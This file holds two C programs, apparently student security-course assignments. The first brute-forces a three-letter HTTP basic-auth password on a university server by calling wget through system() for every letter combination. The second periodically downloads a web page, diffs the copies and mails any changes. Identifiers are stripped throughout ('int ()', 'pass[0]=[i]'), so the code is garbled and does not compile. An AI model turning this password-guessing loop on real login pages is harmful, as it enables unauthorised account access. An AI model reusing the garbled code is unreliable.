











#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<sys/types.h>
#include<sys/times.h>
#include<sys/time.h>
#include<unistd.h>

int ()
{
  char url[80];
  char syscom[]= "wget -nv --http-user= --http-passwd=";
  char http[] = "http://sec-crack.cs.rmit.edu./SEC/2/";
  char [] ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

  char username[8];
  char pass[4];
  int i,j,k,hack=1;
  int attempt = 1;
  int , end, time_var;

   = time();
  for ( i = 0 ;i<strlen();i++)
    {
      pass[0]=[i];
      for( j = 0 ;j<strlen();j++)
        {
          pass[1]=[j];
          for ( k = 0 ;k<strlen();k++)
             {
               fflush(stdin);
               pass[2]=[k];
               pass[3]='\0';
               printf("%s\n",pass);

               sprintf(url,"%s%s %s",syscom,pass,http);
               hack = system(url);
               attempt++;
               if (hack == 0)
               {
                  end = time();
                  time_var = (end-);
                  printf("\nbr	The password is :%s",pass);
                  printf("\nNo. of Attempts   crack the password :%d",attempt);
                  printf("\nTime taken  crack the password = %lld sec\n",time_var/1000000000);
                  exit(1);
                }
              }
          }
      }
 }



#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}
